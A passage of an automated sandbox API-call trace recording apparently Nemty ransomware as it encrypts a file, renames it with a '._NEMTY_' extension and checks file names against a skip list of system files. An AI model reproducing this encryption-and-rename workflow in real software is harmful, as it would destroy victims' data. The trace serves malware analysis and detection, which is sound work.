dwFlags=0x0, lpWideCharStr="docked_black_moon-waxing-crescent.png", cchWideChar=37, lpMultiByteStr=0x6345640, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-waxing-crescent.png", lpUsedDefaultChar=0x0) returned 37 [0162.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0162.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63401c8 [0162.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0162.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63400d0 [0162.057] Sleep (dwMilliseconds=0x5) [0162.069] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x143ef190, dwHighDateTime=0x1d561e8)) [0162.069] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x143ef190, dwHighDateTime=0x1d561e8)) [0162.069] GetLastError () returned 0x5 [0162.069] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0162.069] GetLastError () returned 0x5 [0162.069] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0162.069] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0162.069] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0162.069] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0162.069] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0162.070] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0162.070] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63402a0 [0162.070] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63402a0, pcchString=0x653e91c | out: pszString="XRzdGxELTV1+Id904if0ZkpdMttRXUfJZ5ACuSY992Z02mMasSC43wc+l4IWq4CM\r\nUpToC56qlMBgVH+HoUL2XBPN05xX+jdqk574iyl01e96Bi4pCiNrzYGtgL7e9eYo\r\nS2HrGoOfKrHajTgcw7zi0S0r89myvhNzLkPw5hxe7fLJMnrmQx1Jrw6PCfBCTeKb\r\nI5hTD34hkbbkIDgINCtz/n5d5rdib3poL4/3oTsFJ0ES7plr8oTSFW3KgNhdqNu6\r\nOVXy0yBFxda/om8XxyVddApEwnwgyy+39D34gisCjL0qEDllVw37/4qNV+FUQfEL\r\ndCg3ANLp7VLc1luoq2ueVw==\r\n", pcchString=0x653e91c) returned 1 [0162.070] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0162.070] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402a0 | out: hHeap=0x4f90000) returned 1 [0162.070] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0162.070] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0162.070] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63402a0 [0162.070] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0162.070] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-waxing-crescent.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-waxing-crescent.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0162.088] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0162.089] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0162.089] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.089] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.102] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.102] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.102] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.102] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.111] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.111] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.112] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.112] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.121] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.121] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.121] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.121] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.130] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.130] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.130] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.131] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.142] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.142] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.142] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.142] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.153] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.153] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.153] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.153] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.163] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.163] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.163] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.163] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.172] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.172] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.172] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.172] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.182] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.182] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.182] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.182] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.197] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.197] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.197] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.197] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.203] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.203] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.203] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.203] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.209] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.209] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.209] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.209] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63402a0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0162.209] CloseHandle (hObject=0xffffffff) returned 0 [0162.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340410 [0162.209] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0162.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0162.209] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0162.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0162.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0162.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63404e8 [0162.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0162.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404e8 | out: hHeap=0x4f90000) returned 1 [0162.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0162.209] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-waxing-crescent.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-waxing-crescent.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-waxing-crescent.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-waxing-crescent.png._nemty_kgobjgd_")) returned 0 [0162.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0162.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0162.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0162.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402a0 | out: hHeap=0x4f90000) returned 1 [0162.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0162.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0162.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0162.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0162.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0162.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0162.210] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x872c52e5, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x872c52e5, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b462db7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2b1e, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="docked_black_moon-waxing-crescent_partly-cloudy.png", cAlternateFileName="")) returned 1 [0162.210] lstrcmpiW (lpString1="docked_black_moon-waxing-crescent_partly-cloudy.png", lpString2=".") returned 1 [0162.210] lstrcmpiW (lpString1="docked_black_moon-waxing-crescent_partly-cloudy.png", lpString2="..") returned 1 [0162.210] lstrcmpiW (lpString1="docked_black_moon-waxing-crescent_partly-cloudy.png", lpString2="...") returned 1 [0162.210] lstrcmpiW (lpString1="docked_black_moon-waxing-crescent_partly-cloudy.png", lpString2="windows") returned -1 [0162.210] lstrcmpiW (lpString1="docked_black_moon-waxing-crescent_partly-cloudy.png", lpString2="$RECYCLE.BIN") returned 1 [0162.210] lstrcmpiW (lpString1="docked_black_moon-waxing-crescent_partly-cloudy.png", lpString2="rsa") returned -1 [0162.210] lstrcmpiW (lpString1="docked_black_moon-waxing-crescent_partly-cloudy.png", lpString2="NTDETECT.COM") returned -1 [0162.210] lstrcmpiW (lpString1="docked_black_moon-waxing-crescent_partly-cloudy.png", lpString2="ntldr") returned -1 [0162.210] lstrcmpiW (lpString1="docked_black_moon-waxing-crescent_partly-cloudy.png", lpString2="MSDOS.SYS") returned -1 [0162.210] lstrcmpiW (lpString1="docked_black_moon-waxing-crescent_partly-cloudy.png", lpString2="IO.SYS") returned -1 [0162.210] lstrcmpiW (lpString1="docked_black_moon-waxing-crescent_partly-cloudy.png", lpString2="boot.ini") returned 1 [0162.210] lstrcmpiW (lpString1="docked_black_moon-waxing-crescent_partly-cloudy.png", lpString2="boot.ini") returned 1 [0162.210] lstrcmpiW (lpString1="docked_black_moon-waxing-crescent_partly-cloudy.png", lpString2="AUTOEXEC.BAT") returned 1 [0162.210] lstrcmpiW (lpString1="docked_black_moon-waxing-crescent_partly-cloudy.png", lpString2="ntuser.dat") returned -1 [0162.210] lstrcmpiW (lpString1="docked_black_moon-waxing-crescent_partly-cloudy.png", lpString2="desktop.ini") returned 1 [0162.210] lstrcmpiW (lpString1="docked_black_moon-waxing-crescent_partly-cloudy.png", lpString2="CONFIG.SYS") returned 1 [0162.210] lstrcmpiW (lpString1="docked_black_moon-waxing-crescent_partly-cloudy.png", lpString2="RECYCLER") returned -1 [0162.210] lstrcmpiW (lpString1="docked_black_moon-waxing-crescent_partly-cloudy.png", lpString2="BOOTSECT.BAK") returned 1 [0162.210] lstrcmpiW (lpString1="docked_black_moon-waxing-crescent_partly-cloudy.png", lpString2="bootmgr") returned 1 [0162.210] lstrcmpiW (lpString1="docked_black_moon-waxing-crescent_partly-cloudy.png", lpString2="programdata") returned -1 [0162.210] lstrcmpiW (lpString1="docked_black_moon-waxing-crescent_partly-cloudy.png", lpString2="appdata") returned 1 [0162.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x63400d0 [0162.211] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-waxing-crescent_partly-cloudy.png", cchWideChar=51, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 51 [0162.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0162.211] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-waxing-crescent_partly-cloudy.png", cchWideChar=51, lpMultiByteStr=0x6345da8, cbMultiByte=51, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-waxing-crescent_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 51 [0162.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0162.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6340148 [0162.211] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-waxing-crescent_partly-cloudy.png", cchWideChar=51, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 51 [0162.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0162.211] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-waxing-crescent_partly-cloudy.png", cchWideChar=51, lpMultiByteStr=0x6345da8, cbMultiByte=51, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-waxing-crescent_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 51 [0162.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0162.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340148 | out: hHeap=0x4f90000) returned 1 [0162.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0162.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x63400d0 [0162.211] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-waxing-crescent_partly-cloudy.png", cchWideChar=51, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 51 [0162.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0162.211] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-waxing-crescent_partly-cloudy.png", cchWideChar=51, lpMultiByteStr=0x6345da8, cbMultiByte=51, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-waxing-crescent_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 51 [0162.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0162.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x63400d0 [0162.211] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-waxing-crescent_partly-cloudy.png", cchWideChar=51, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 51 [0162.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0162.211] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-waxing-crescent_partly-cloudy.png", cchWideChar=51, lpMultiByteStr=0x6345d60, cbMultiByte=51, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-waxing-crescent_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 51 [0162.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0162.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x63400d0 [0162.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401c8 | out: hHeap=0x4f90000) returned 1 [0162.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x63401c8 [0162.211] Sleep (dwMilliseconds=0x5) [0162.222] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1456bf50, dwHighDateTime=0x1d561e8)) [0162.222] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1456bf50, dwHighDateTime=0x1d561e8)) [0162.222] GetLastError () returned 0x5 [0162.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0162.223] GetLastError () returned 0x5 [0162.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0162.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0162.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, 